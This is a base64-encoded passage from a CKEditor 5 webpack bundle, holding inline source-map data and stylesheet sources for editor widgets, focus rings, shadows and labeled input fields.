vKiBTaG93IHRoZSBzZWxlY3Rpb24gaGFuZGxlciBvbiBtb3VzZSBob3ZlciBvdmVyIHRoZSB3aWRnZXQuICovXG5cdCY6aG92ZXIgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZSB7XG5cdFx0b3BhY2l0eTogMTtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1jay1jb2xvci13aWRnZXQtaG92ZXItYm9yZGVyKTtcblx0fVxuXG5cdC8qIFNob3cgdGhlIHNlbGVjdGlvbiBoYW5kbGVyIHdoZW4gdGhlIHdpZGdldCBpcyBzZWxlY3RlZC4gKi9cblx0Ji5jay13aWRnZXRfc2VsZWN0ZWQsXG5cdCYuY2std2lkZ2V0X3NlbGVjdGVkOmhvdmVyIHtcblx0XHQmIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6IHZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlcik7XG5cblx0XHRcdC8qIFdoZW4gdGhlIHdpZGdldCBpcyBzZWxlY3RlZCwgbm90aWZ5IHRoZSB1c2VyIHVzaW5nIHRoZSBwcm9wZXIgbG9vayBvZiB0aGUgaWNvbi4gKi9cblx0XHRcdCYgLmNrLWljb24gLmNrLWljb25fX3NlbGVjdGVkLWluZGljYXRvciB7XG5cdFx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG5cbi8qIEluIGEgUlRMIGVudmlyb25tZW50LCBhbGlnbiB0aGUgc2VsZWN0aW9uIGhhbmRsZXIgdG8gdGhlIHJpZ2h0IHNpZGUgb2YgdGhlIHdpZGdldCAqL1xuLyogc3R5bGVsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLWRlc2NlbmRpbmctc3BlY2lmaWNpdHkgKi9cbi5ja1tkaXI9InJ0bCJdIC5jay13aWRnZXQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlIHtcblx0bGVmdDogYXV0bztcblx0cmlnaHQ6IGNhbGMoMHB4IC0gdmFyKC0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzKSk7XG59XG5cbi8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzY0MTUgKi9cbi5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLXJlYWQtb25seSAuY2std2lkZ2V0IHtcblx0LyogUHJldmVudCB0aGUgOmhvdmVyIG91dGxpbmUgZnJvbSBzaG93aW5nIHVwIGJlY2F1c2Ugb2YgdGhlIHVzZWQgb3V0bGluZS1jb2xvciB0cmFuc2l0aW9uLiAqL1xuXHR0cmFuc2l0aW9uOiBub25lO1xuXG5cdCY6bm90KC5jay13aWRnZXRfc2VsZWN0ZWQpIHtcblx0XHQvKiBEaXNhYmxlIHZpc3VhbCBlZmZlY3RzIG9mIGhvdmVyL2FjdGl2ZSB3aWRnZXQgd2hlbiBDS0VkaXRvciBpcyBpbiByZWFkT25seSBtb2RlLlxuXHRcdCAqIFNlZTogaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS9pc3N1ZXMvMTI2MVxuXHRcdCAqXG5cdFx0ICogTGVhdmUgdGhlIHVuaXQgYmVjYXVzZSB0aGlzIGN1c3RvbSBwcm9wZXJ0eSBpcyB1c2VkIGluIGNhbGMoKSBieSBvdGhlciBmZWF0dXJlcy5cblx0XHQgKiBTZWU6IGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzY3NzVcblx0XHQgKi9cblx0XHQtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzczogMHB4O1xuXHR9XG5cblx0Ji5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlIHtcblx0XHQmIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUsXG5cdFx0JiAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlOmhvdmVyIHtcblx0XHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXdpZGdldC1ibHVycmVkLWJvcmRlcik7XG5cdFx0fVxuXHR9XG59XG5cbi8qIFN0eWxlIHRoZSB3aWRnZXQgd2hlbiBpdFwncyBzZWxlY3RlZCBidXQgdGhlIGVkaXRhYmxlIGl0IGJlbG9uZ3MgdG8gbG9zdCBmb2N1cy4gKi9cbi8qIHN0eWxlbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1kZXNjZW5kaW5nLXNwZWNpZmljaXR5ICovXG4uY2suY2stZWRpdG9yX19lZGl0YWJsZS5jay1ibHVycmVkIC5jay13aWRnZXQge1xuXHQmLmNrLXdpZGdldF9zZWxlY3RlZCxcblx0Ji5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXIge1xuXHRcdG91dGxpbmUtY29sb3I6IHZhcigtLWNrLWNvbG9yLXdpZGdldC1ibHVycmVkLWJvcmRlcik7XG5cblx0XHQmLmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUge1xuXHRcdFx0JiAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlLFxuXHRcdFx0JiAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlOmhvdmVyIHtcblx0XHRcdFx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3Itd2lkZ2V0LWJsdXJyZWQtYm9yZGVyKTtcblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cblxuLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgPiAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGU6Zmlyc3QtY2hpbGQsXG4uY2suY2stZWRpdG9yX19lZGl0YWJsZSBibG9ja3F1b3RlID4gLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlOmZpcnN0LWNoaWxkIHtcblx0LyogRG8gbm90IGNyb3Agc2VsZWN0aW9uIGhhbmRsZXIgaWYgYSB3aWRnZXQgaXMgYSBmaXJzdC1jaGlsZCBpbiB0aGUgYmxvY2txdW90ZSBvciBpbiB0aGUgcm9vdCBlZGl0YWJsZS5cblx0SW4gZmFjdCwgYW55dGhpbmcgd2l0aCBvdmVyZmxvdzogaGlkZGVuLlxuXHRodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LWJsb2NrLXF1b3RlL2lzc3Vlcy8yOFxuXHRodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LXdpZGdldC9pc3N1ZXMvNDRcblx0aHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS13aWRnZXQvaXNzdWVzLzY2ICovXG5cdG1hcmdpbi10b3A6IGNhbGMoMWVtICsgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItaWNvbi1zaXplKSk7XG59XG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogQSB2aXN1YWwgc3R5bGUgb2YgZm9jdXNlZCBlbGVtZW50J3MgYm9yZGVyLlxuICovXG5AZGVmaW5lLW1peGluIGNrLWZvY3VzLXJpbmcge1xuXHQvKiBEaXNhYmxlIG5hdGl2ZSBvdXRsaW5lLiAqL1xuXHRvdXRsaW5lOiBub25lO1xuXHRib3JkZXI6IHZhcigtLWNrLWZvY3VzLXJpbmcpXG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogQSBoZWxwZXIgdG8gY29tYmluZSBtdWx0aXBsZSBzaGFkb3dzLlxuICovXG5AZGVmaW5lLW1peGluIGNrLWJveC1zaGFkb3cgJHNoYWRvd0EsICRzaGFkb3dCOiAwIDAge1xuXHRib3gtc2hhZG93OiAkc2hhZG93QSwgJHNoYWRvd0I7XG59XG5cbi8qKlxuICogR2l2ZXMgYW4gZWxlbWVudCBhIGRyb3Agc2hhZG93IHNvIGl0IGxvb2tzIGxpa2UgYSBmbG9hdGluZyBwYW5lbC5cbiAqL1xuQGRlZmluZS1taXhpbiBjay1kcm9wLXNoYWRvdyB7XG5cdEBtaXhpbiBjay1ib3gtc2hhZG93IHZhcigtLWNrLWRyb3Atc2hhZG93KTtcbn1cbiJdLHNvdXJjZVJvb3Q6IiJ9XSk7ZVsiYSJdPWF9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7dmFyIGk9bigyKTt2YXIgbz1uLm4oaSk7dmFyIHI9bigzKTt2YXIgcz1uLm4ocik7dmFyIGE9cygpKG8uYSk7YS5wdXNoKFt0LmksIi5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXc+LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlld19faW5wdXQtd3JhcHBlcntkaXNwbGF5OmZsZXg7cG9zaXRpb246cmVsYXRpdmV9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldyAuY2suY2stbGFiZWx7ZGlzcGxheTpibG9jaztwb3NpdGlvbjphYnNvbHV0ZX06cm9vdHstLWNrLWxhYmVsZWQtZmllbGQtdmlldy10cmFuc2l0aW9uOi4xcyBjdWJpYy1iZXppZXIoMCwwLDAuMjQsMC45NSk7LS1jay1sYWJlbGVkLWZpZWxkLWVtcHR5LXVuZm9jdXNlZC1tYXgtd2lkdGg6MTAwJSAtIDIgKiB2YXIoLS1jay1zcGFjaW5nLW1lZGl1bSk7LS1jay1jb2xvci1sYWJlbGVkLWZpZWxkLWxhYmVsLWJhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kKX0uY2suY2stbGFiZWxlZC1maWVsZC12aWV3e2JvcmRlci1yYWRpdXM6MH0uY2stcm91bmRlZC1jb3JuZXJzIC5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXcsLmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldy5jay1yb3VuZGVkLWNvcm5lcnN7Ym9yZGVyLXJhZGl1czp2YXIoLS1jay1ib3JkZXItcmFkaXVzKX0uY2suY2stbGFiZWxlZC1maWVsZC12aWV3Pi5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXJ7d2lkdGg6MTAwJX0uY2suY2stbGFiZWxlZC1maWVsZC12aWV3Pi5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXI+LmNrLmNrLWxhYmVse3RvcDowfVtkaXI9bHRyXSAuY2suY2stbGFiZWxlZC1maWVsZC12aWV3Pi5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXI+LmNrLmNrLWxhYmVse2xlZnQ6MH1bZGlyPXJ0bF0gLmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldz4uY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyPi5jay5jay1sYWJlbHtyaWdodDowfS5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXc+LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlld19faW5wdXQtd3JhcHBlcj4uY2suY2stbGFiZWx7cG9pbnRlci1ldmVudHM6bm9uZTt0cmFuc2Zvcm0tb3JpZ2luOjAgMDt0cmFuc2Zvcm06dHJhbnNsYXRlKHZhcigtLWNrLXNwYWNpbmctbWVkaXVtKSwtNnB4KSBzY2FsZSguNzUpO2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItbGFiZWxlZC1maWVsZC1sYWJlbC1iYWNrZ3JvdW5kKTtwYWRkaW5nOjAgY2FsYyh2YXIoLS1jay1mb250LXNpemUtdGlueSkqMC41KTtsaW5lLWhlaWdodDpub3JtYWw7Zm9udC13ZWlnaHQ6NDAwO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7b3ZlcmZsb3c6aGlkZGVuO21heC13aWR0aDoxMDAlO3RyYW5zaXRpb246dHJhbnNmb3JtIHZhcigtLWNrLWxhYmVsZWQtZmllbGQtdmlldy10cmFuc2l0aW9uKSxwYWRkaW5nIHZhcigtLWNrLWxhYmVsZWQtZmllbGQtdmlldy10cmFuc2l0aW9uKSxiYWNrZ3JvdW5kIHZhcigtLWNrLWxhYmVsZWQtZmllbGQtdmlldy10cmFuc2l0aW9uKX0uY2suY2stbGFiZWxlZC1maWVsZC12aWV3LmNrLWVycm9yIC5jay1pbnB1dDpub3QoW3JlYWRvbmx5XSkrLmNrLmNrLWxhYmVsLC5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXcuY2stZXJyb3I+LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlld19faW5wdXQtd3JhcHBlcj4uY2suY2stbGFiZWx7Y29sb3I6dmFyKC0tY2stY29sb3ItYmFzZS1lcnJvcil9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldyAuY2stbGFiZWxlZC1maWVsZC12aWV3X19zdGF0dXN7Zm9udC1zaXplOnZhcigtLWNrLWZvbnQtc2l6ZS1zbWFsbCk7bWFyZ2luLXRvcDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKTt3aGl0ZS1zcGFjZTpub3JtYWx9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldyAuY2stbGFiZWxlZC1maWVsZC12aWV3X19zdGF0dXMuY2stbGFiZWxlZC1maWVsZC12aWV3X19zdGF0dXNfZXJyb3J7Y29sb3I6dmFyKC0tY2stY29sb3ItYmFzZS1lcnJvcil9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldy5jay1kaXNhYmxlZD4uY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyPi5jay5jay1sYWJlbCwuY2suY2stbGFiZWxlZC1maWVsZC12aWV3LmNrLWxhYmVsZWQtZmllbGQtdmlld19lbXB0eTpub3QoLmNrLWxhYmVsZWQtZmllbGQtdmlld19mb2N1c2VkKT4uY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyPi5jay5jay1sYWJlbHtjb2xvcjp2YXIoLS1jay1jb2xvci1pbnB1dC1kaXNhYmxlZC10ZXh0KX1bZGlyPWx0cl0gLmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldy5jay1kaXNhYmxlZD4uY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyPi5jay5jay1sYWJlbCxbZGlyPWx0cl0gLmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldy5jay1sYWJlbGVkLWZpZWxkLXZpZXdfZW1wdHk6bm90KC5jay1sYWJlbGVkLWZpZWxkLXZpZXdfZm9jdXNlZCk6bm90KC5jay1sYWJlbGVkLWZpZWxkLXZpZXdfcGxhY2Vob2xkZXIpPi5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXI+LmNrLmNrLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGUodmFyKC0tY2stc3BhY2luZy1tZWRpdW0pLGNhbGModmFyKC0tY2stZm9udC1zaXplLWJhc2UpKjAuNikpIHNjYWxlKDEpfVtkaXI9cnRsXSAuY2suY2stbGFiZWxlZC1maWVsZC12aWV3LmNrLWRpc2FibGVkPi5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXI+LmNrLmNrLWxhYmVsLFtkaXI9cnRsXSAuY2suY2stbGFiZWxlZC1maWVsZC12aWV3LmNrLWxhYmVsZWQtZmllbGQtdmlld19lbXB0eTpub3QoLmNrLWxhYmVsZWQtZmllbGQtdmlld19mb2N1c2VkKTpub3QoLmNrLWxhYmVsZWQtZmllbGQtdmlld19wbGFjZWhvbGRlcik+LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlld19faW5wdXQtd3JhcHBlcj4uY2suY2stbGFiZWx7dHJhbnNmb3JtOnRyYW5zbGF0ZShjYWxjKHZhcigtLWNrLXNwYWNpbmctbWVkaXVtKSotMSksY2FsYyh2YXIoLS1jay1mb250LXNpemUtYmFzZSkqMC42KSkgc2NhbGUoMSl9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldy5jay1kaXNhYmxlZD4uY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyPi5jay5jay1sYWJlbCwuY2suY2stbGFiZWxlZC1maWVsZC12aWV3LmNrLWxhYmVsZWQtZmllbGQtdmlld19lbXB0eTpub3QoLmNrLWxhYmVsZWQtZmllbGQtdmlld19mb2N1c2VkKTpub3QoLmNrLWxhYmVsZWQtZmllbGQtdmlld19wbGFjZWhvbGRlcik+LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlld19faW5wdXQtd3JhcHBlcj4uY2suY2stbGFiZWx7bWF4LXdpZHRoOmNhbGModmFyKC0tY2stbGFiZWxlZC1maWVsZC1lbXB0eS11bmZvY3VzZWQtbWF4LXdpZHRoKSk7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtwYWRkaW5nOjB9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldz4uY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyPi5jay1kcm9wZG93bj4uY2suY2stYnV0dG9ue2JhY2tncm91bmQ6dHJhbnNwYXJlbnR9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldy5jay1sYWJlbGVkLWZpZWxkLXZpZXdfZW1wdHk+LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlld19faW5wdXQtd3JhcHBlcj4uY2stZHJvcGRvd24+LmNrLWJ1dHRvbj4uY2stYnV0dG9uX19sYWJlbHtvcGFjaXR5OjB9LmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldy5jay1sYWJlbGVkLWZpZWxkLXZpZXdfZW1wdHk6bm90KC5jay1sYWJlbGVkLWZpZWxkLXZpZXdfZm9jdXNlZCk6bm90KC5jay1sYWJlbGVkLWZpZWxkLXZpZXdfcGxhY2Vob2xkZXIpPi5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXI+LmNrLWRyb3Bkb3duKy5jay1sYWJlbHttYXgtd2lkdGg6Y2FsYyh2YXIoLS1jay1sYWJlbGVkLWZpZWxkLWVtcHR5LXVuZm9jdXNlZC1tYXgtd2lkdGgpIC0gdmFyKC0tY2stZHJvcGRvd24tYXJyb3ctc2l6ZSkgLSB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKSl9IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9jb21wb25lbnRzL2xhYmVsZWRmaWVsZC9sYWJlbGVkZmllbGR2aWV3LmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvbGFiZWxlZGZpZWxkL2xhYmVsZWRmaWVsZHZpZXcuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9taXhpbnMvX3JvdW5kZWQuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBTUMsbUVBQ0MsWUFBYSxDQUNiLGlCQUNELENBRUEsdUNBQ0MsYUFBYyxDQUNkLGlCQUNELENDTkQsTUFDQyxrRUFBc0UsQ0FDdEUsZ0ZBQWlGLENBQ2pGLHlFQUNELENBRUEsMEJDSEMsZUQ0R0QsQ0F6R0EsMkZDQ0UscUNEd0dGLENBdEdDLG1FQUNDLFVBbUNELENBakNDLGdGQUNDLEtBK0JELENBaENBLDBGQUlFLE1BNEJGLENBaENBLDBGQVFFLE9Bd0JGLENBaENBLGdGQVdDLG1CQUFvQixDQUNwQixvQkFBcUIsQ0FHckIsNkRBQStELENBRS9ELHlEQUEwRCxDQUMxRCw0Q0FBOEMsQ0FDOUMsa0JBQW9CLENBQ3BCLGVBQW1CLENBR25CLHNCQUF1QixDQUN2QixlQUFnQixDQUVoQixjQUFlLENBRWYsK0pBSUQsQ0FRQSxtS0FDQyxnQ0FDRCxDQUdELHlEQUNDLG1DQUFvQyxDQUNwQyxrQ0FBbUMsQ0FJbkMsa0JBS0QsQ0FIQyw2RkFDQyxnQ0FDRCxDQUlELDRPQUVDLHlDQUNELENBSUEsd1NBR0UseUZBWUYsQ0FmQSx3U0FPRSxrR0FRRixDQWZBLG9SQVdDLGlFQUFrRSxDQUVsRSxzQkFBdUIsQ0FDdkIsU0FDRCxDQUtBLDhGQUNDLHNCQUNELENBR0EseUlBQ0MsU0FDRCxDQUdBLGtNQUNDLDhIQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldyB7XG5cdCYgPiAuY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyIHtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0fVxuXG5cdCYgLmNrLmNrLWxhYmVsIHtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdH1cbn1cbiIsJy8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuQGltcG9ydCAiQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9taXhpbnMvX2Rpci5jc3MiO1xuQGltcG9ydCAiLi4vLi4vLi4vbWl4aW5zL19yb3VuZGVkLmNzcyI7XG5cbjpyb290IHtcblx0LS1jay1sYWJlbGVkLWZpZWxkLXZpZXctdHJhbnNpdGlvbjogLjFzIGN1YmljLWJlemllcigwLCAwLCAwLjI0LCAwLjk1KTtcblx0LS1jay1sYWJlbGVkLWZpZWxkLWVtcHR5LXVuZm9jdXNlZC1tYXgtd2lkdGg6IDEwMCUgLSAyICogdmFyKC0tY2stc3BhY2luZy1tZWRpdW0pO1xuXHQtLWNrLWNvbG9yLWxhYmVsZWQtZmllbGQtbGFiZWwtYmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kKTtcbn1cblxuLmNrLmNrLWxhYmVsZWQtZmllbGQtdmlldyB7XG5cdEBtaXhpbiBjay1yb3VuZGVkLWNvcm5lcnM7XG5cblx0JiA+IC5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXIge1xuXHRcdHdpZHRoOiAxMDAlO1xuXG5cdFx0JiA+IC5jay5jay1sYWJlbCB7XG5cdFx0XHR0b3A6IDBweDtcblxuXHRcdFx0QG1peGluIGNrLWRpciBsdHIge1xuXHRcdFx0XHRsZWZ0OiAwcHg7XG5cdFx0XHR9XG5cblx0XHRcdEBtaXhpbiBjay1kaXIgcnRsIHtcblx0XHRcdFx0cmlnaHQ6IDBweDtcblx0XHRcdH1cblxuXHRcdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0XHR0cmFuc2Zvcm0tb3JpZ2luOiAwIDA7XG5cblx0XHRcdC8qIEJ5IGRlZmF1bHQsIGRpc3BsYXkgdGhlIGxhYmVsIHNjYWxlZCBkb3duIGFib3ZlIHRoZSBmaWVsZC4gKi9cblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKHZhcigtLWNrLXNwYWNpbmctbWVkaXVtKSwgLTZweCkgc2NhbGUoLjc1KTtcblxuXHRcdFx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItbGFiZWxlZC1maWVsZC1sYWJlbC1iYWNrZ3JvdW5kKTtcblx0XHRcdHBhZGRpbmc6IDAgY2FsYyguNSAqIHZhcigtLWNrLWZvbnQtc2l6ZS10aW55KSk7XG5cdFx0XHRsaW5lLWhlaWdodDogaW5pdGlhbDtcblx0XHRcdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cblx0XHRcdC8qIFByZXZlbnQgb3ZlcmZsb3cgd2hlbiB0aGUgbGFiZWwgaXMgbG9uZ2VyIHRoYW4gdGhlIGlucHV0ICovXG5cdFx0XHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cblx0XHRcdG1heC13aWR0aDogMTAwJTtcblxuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0dHJhbnNmb3JtIHZhcigtLWNrLWxhYmVsZWQtZmllbGQtdmlldy10cmFuc2l0aW9uKSxcblx0XHRcdFx0cGFkZGluZyB2YXIoLS1jay1sYWJlbGVkLWZpZWxkLXZpZXctdHJhbnNpdGlvbiksXG5cdFx0XHRcdGJhY2tncm91bmQgdmFyKC0tY2stbGFiZWxlZC1maWVsZC12aWV3LXRyYW5zaXRpb24pO1xuXHRcdH1cblx0fVxuXG5cdCYuY2stZXJyb3Ige1xuXHRcdCYgPiAuY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyID4gLmNrLmNrLWxhYmVsIHtcblx0XHRcdGNvbG9yOiB2YXIoLS1jay1jb2xvci1iYXNlLWVycm9yKTtcblx0XHR9XG5cblx0XHQmIC5jay1pbnB1dDpub3QoW3JlYWRvbmx5XSkgKyAuY2suY2stbGFiZWwge1xuXHRcdFx0Y29sb3I6IHZhcigtLWNrLWNvbG9yLWJhc2UtZXJyb3IpO1xuXHRcdH1cblx0fVxuXG5cdCYgLmNrLWxhYmVsZWQtZmllbGQtdmlld19fc3RhdHVzIHtcblx0XHRmb250LXNpemU6IHZhcigtLWNrLWZvbnQtc2l6ZS1zbWFsbCk7XG5cdFx0bWFyZ2luLXRvcDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cblx0XHQvKiBMZXQgdGhlIGluZm8gd3JhcCB0byB0aGUgbmV4dCBsaW5lIHRvIGF2b2lkIHN0cmV0Y2hpbmcgdGhlIGxheW91dCBob3Jpem9udGFsbHkuXG5cdFx0VGhlIHN0YXR1cyBjb3VsZCBiZSB2ZXJ5IGxvbmcuICovXG5cdFx0d2hpdGUtc3BhY2U6IG5vcm1hbDtcblxuXHRcdCYuY2stbGFiZWxlZC1maWVsZC12aWV3X19zdGF0dXNfZXJyb3Ige1xuXHRcdFx0Y29sb3I6IHZhcigtLWNrLWNvbG9yLWJhc2UtZXJyb3IpO1xuXHRcdH1cblx0fVxuXG5cdC8qIERpc2FibGVkIGZpZWxkcyBhbmQgZmllbGRzIHRoYXQgaGF2ZSBubyBmb2N1cyBzaG91bGQgZmFkZSBvdXQuICovXG5cdCYuY2stZGlzYWJsZWQgPiAuY2suY2stbGFiZWxlZC1maWVsZC12aWV3X19pbnB1dC13cmFwcGVyID4gLmNrLmNrLWxhYmVsLFxuXHQmLmNrLWxhYmVsZWQtZmllbGQtdmlld19lbXB0eTpub3QoLmNrLWxhYmVsZWQtZmllbGQtdmlld19mb2N1c2VkKSA+IC5jay5jay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXIgPiAuY2suY2stbGFiZWwge1xuXHRcdGNvbG9yOiB2YXIoLS1jay1jb2xvci1pbnB1dC1kaXNhYmxlZC10ZXh0KTtcblx0fVxuXG5cdC8qIEZpZWxkcyB0aGF0IGFyZSBkaXNhYmxlZCBvciBub3QgZm9jdXNlZCBhbmQgd2l0aG91dCBhIHBsYWNlaG9sZGVyIHNob3VsZCBoYXZlIGZ1bGwtc2l6ZWQgbGFiZWxzLiAqL1xuXHQvKiBzdHlsZWxpbnQtZGlzYWJsZS1uZXh0LWxpbmUgbm8tZGVzY2VuZGluZy1zcGVjaWZpY2l0eSAqL1xuXHQmLmNrLWRpc2FibGVkID4gLmNrLmNrLWxhYmVsZWQtZmllbGQtdmlld19faW5wdXQtd3JhcHBl